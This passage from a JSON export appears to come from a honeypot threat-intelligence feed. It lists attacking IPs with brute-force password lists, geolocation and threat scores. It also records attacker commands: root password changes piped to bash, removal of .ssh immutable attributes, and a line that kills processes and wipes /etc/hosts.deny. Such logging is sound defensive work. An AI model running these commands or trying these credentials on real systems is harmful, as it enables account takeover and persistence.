        "123456qwerty",
        "12345admin",
        "1qazxdr5",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123456.",
        "Admin@123",
        "Bingo@1993",
        "Lk123456",
        "a!123456",
        "asdASD1234",
        "woaini123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Xp0HoqKt5v59\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:53:52.820000+00:00",
        "last_seen_30d": "2026-03-04T17:21:43.115000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 31
      }
    },
    "170.64.170.186": {
      "attack_count": 113,
      "first_seen": "2026-03-10T11:47:26.549Z",
      "last_seen": "2026-03-10T12:09:51.469Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "000000",
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "P@ssw0rd",
        "admin",
        "admin123",
        "passw0rd",
        "password",
        "password1",
        "qwerty",
        "root123",
        "toor"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 22.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 160,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T11:47:26.549000+00:00",
        "last_seen_30d": "2026-03-10T12:10:54.897000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 113,
        "Suricata": 47
      }
    },
    "140.106.25.230": {
      "attack_count": 94,
      "first_seen": "2026-03-26T10:07:04.971Z",
      "last_seen": "2026-03-26T10:16:56.087Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "tempo",
        "345gs5662d34",
        "customer",
        "mysqlrouter",
        "synapse",
        "wayne"
      ],
      "passwords_attempted": [
        "password",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "customer",
        "mysqlrouter"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nnbcMndayOHZW\\nnbcMndayOHZW\\n\"|passwd",
        "echo -e \"password\\nnbcMndayOHZW\\nnbcMndayOHZW\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Dudswell",
      "asn": 11290,
      "as_org": "Cogeco Connexion inc",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 110,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T10:07:04.971000+00:00",
        "last_seen_30d": "2026-03-26T10:18:03.634000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 16
      }
    },
    "134.122.103.19": {
      "attack_count": 83,
      "first_seen": "2026-03-16T12:56:01.420Z",
      "last_seen": "2026-03-16T13:09:38.199Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "oracle",
        "postgres",
        "test1",
        "test2",
        "test3"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "321",
        "oracle",
        "pass",
        "password",
        "postgres",
        "qwerty",
        "root123",
        "root321",
        "test1",
        "test2",
        "test3"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T12:56:01.420000+00:00",
        "last_seen_30d": "2026-03-16T13:10:43.167000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 32
      }
    },
    "167.71.67.226": {
      "attack_count": 60,
      "first_seen": "2026-03-10T10:07:23.848Z",
      "last_seen": "2026-03-10T10:20:01.619Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:07:23.848000+00:00",
        "last_seen_30d": "2026-03-10T10:21:03.828000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 26
      }
    },
    "64.227.174.249": {
      "attack_count": 60,
      "first_seen": "2026-03-09T19:20:47.923Z",
      "last_seen": "2026-03-09T19:32:12.040Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin"
      ],
      "passwords_attempted": [
        "1234567890",
        "123",
        "1234",
        "123abc",
        "1q2w3e4r",
        "admin123",
        "pass123",
        "password1",
        "qwerty123"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 86,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T19:20:47.923000+00:00",
        "last_seen_30d": "2026-03-09T19:33:22.008000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 60,
        "Suricata": 26
      }
    },
    "68.183.95.153": {
      "attack_count": 55,
      "first_seen": "2026-03-09T07:07:35.680Z",
      "last_seen": "2026-03-09T07:19:40.799Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "123456789",
        "admin",
        "password",
        "password1",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T07:07:35.680000+00:00",
        "last_seen_30d": "2026-03-09T07:20:46.133000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 55,
        "Suricata": 24
      }
    },
    "38.188.160.99": {
      "attack_count": 53,
      "first_seen": "2026-03-10T23:10:16.169Z",
      "last_seen": "2026-03-11T00:40:30.668Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "020686",
        "170383",
        "170992",
        "andouille",
        "coucou2",
        "hasina",
        "ivan",
        "macumba",
        "pikine",
        "plaisance"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:10:16.169000+00:00",
        "last_seen_30d": "2026-03-11T00:40:30.668000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 26
      }
    },
    "103.74.21.26": {
      "attack_count": 50,
      "first_seen": "2026-03-02T15:17:40.449Z",
      "last_seen": "2026-03-02T15:23:04.911Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T15:17:40.449000+00:00",
        "last_seen_30d": "2026-03-02T15:24:07.521000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "115.59.79.225": {
      "attack_count": 50,
      "first_seen": "2026-03-21T18:58:46.419Z",
      "last_seen": "2026-03-21T19:04:10.904Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T18:58:46.419000+00:00",
        "last_seen_30d": "2026-03-21T19:05:12.043000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.43.2": {
      "attack_count": 50,
      "first_seen": "2026-03-17T23:06:28.957Z",
      "last_seen": "2026-03-17T23:11:53.354Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 138423,
      "as_org": "CMPak Limited",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T23:06:28.957000+00:00",
        "last_seen_30d": "2026-03-17T23:12:55.658000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "138.68.180.204": {
      "attack_count": 48,
      "first_seen": "2026-03-15T13:04:03.215Z",
      "last_seen": "2026-03-15T13:12:58.658Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test1",
        "test2",
        "test3"
      ],
      "passwords_attempted": [
        "123",
        "root123",
        "root321",
        "test1",
        "test2",
        "test3"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 65,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T13:04:03.215000+00:00",
        "last_seen_30d": "2026-03-15T13:14:04.630000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 17
      }
    },
    "188.166.49.241": {
      "attack_count": 30,
      "first_seen": "2026-03-04T23:06:08.650Z",
      "last_seen": "2026-03-05T03:56:23.864Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "sol"
      ],
      "passwords_attempted": [
        "1234",
        "sol123"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T23:03:24.476000+00:00",
        "last_seen_30d": "2026-03-05T03:57:33+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 17
      }
    },
    "161.35.85.154": {
      "attack_count": 25,
      "first_seen": "2026-03-11T12:42:23.296Z",
      "last_seen": "2026-03-11T12:48:50.313Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "123qwe",
        "123qwerty",
        "21"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T12:42:23.296000+00:00",
        "last_seen_30d": "2026-03-11T12:49:52.305000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "85.11.183.21": {
      "attack_count": 22,
      "first_seen": "2026-03-10T04:07:16.233Z",
      "last_seen": "2026-03-30T08:34:02.961Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip, deflate, br",
        "Connection: close",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept-Language: en-US,en;q=0.9",
        "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3581,
        "days_active_30d": 30,
        "ports_targeted_30d": 431,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-03-02T10:18:14+00:00",
        "last_seen_30d": "2026-03-31T00:22:28.624000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2395,
        "Honeytrap": 1130,
        "Cowrie": 22,
        "Miniprint": 9,
        "Adbhoney": 4,
        "ConPot": 4,
        "Dionaea": 4,
        "Ciscoasa": 3,
        "CitrixHoneypot": 3,
        "Tanner": 3,
        "H0neytr4p": 2,
        "Honeyaml": 2
      }
    },
    "42.230.47.43": {
      "attack_count": 20,
      "first_seen": "2026-03-04T12:26:24.640Z",
      "last_seen": "2026-03-04T12:28:33.939Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T12:26:24.640000+00:00",
        "last_seen_30d": "2026-03-04T12:29:44.181000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "94.102.49.155": {
      "attack_count": 20,
      "first_seen": "2026-03-02T07:39:19.610Z",
      "last_seen": "2026-03-22T02:38:35.260Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 202425,
      "as_org": "IP Volume inc",
      "threat_score": 95.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 380,
        "days_active_30d": 30,
        "ports_targeted_30d": 13,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T07:39:19.610000+00:00",
        "last_seen_30d": "2026-03-31T22:29:37.797000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 251,
        "Honeytrap": 52,
        "ElasticPot": 23,
        "Cowrie": 20,
        "Redishoneypot": 18,
        "Dionaea": 12,
        "Honeyaml": 4
      }
    },
    "101.37.148.44": {
      "attack_count": 16,
      "first_seen": "2026-03-02T00:29:04.040Z",
      "last_seen": "2026-03-24T12:56:59.026Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 47.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.2,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:29:04.040000+00:00",
        "last_seen_30d": "2026-03-29T21:43:26.540000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 16
      }
    },
    "45.82.78.103": {
      "attack_count": 16,
      "first_seen": "2026-03-18T12:24:40.881Z",
      "last_seen": "2026-03-30T08:36:07.521Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 212512,
      "as_org": "Detai Prosperous Technologies Limited",
      "threat_score": 98.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 28.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 648,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T04:46:46+00:00",
        "last_seen_30d": "2026-03-31T21:41:53.974000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 338,
        "Honeytrap": 292,
        "Cowrie": 16,
        "ElasticPot": 1,
        "Tanner": 1
      }
    },
    "38.188.160.0": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:02:23.264Z",
      "last_seen": "2026-03-10T23:55:44.197Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "lucky13",
        "merouane",
        "shana1"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:02:23.264000+00:00",
        "last_seen_30d": "2026-03-10T23:56:47.414000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "185.246.188.74": {
      "attack_count": 13,
      "first_seen": "2026-03-11T15:58:50.414Z",
      "last_seen": "2026-03-17T22:13:13.252Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "system"
      ],
      "passwords_attempted": [
        "OkwKcECs8qJP2Z"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 200651,
      "as_org": "FlokiNET ehf",
      "threat_score": 70.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.3,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 171,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T16:36:04+00:00",
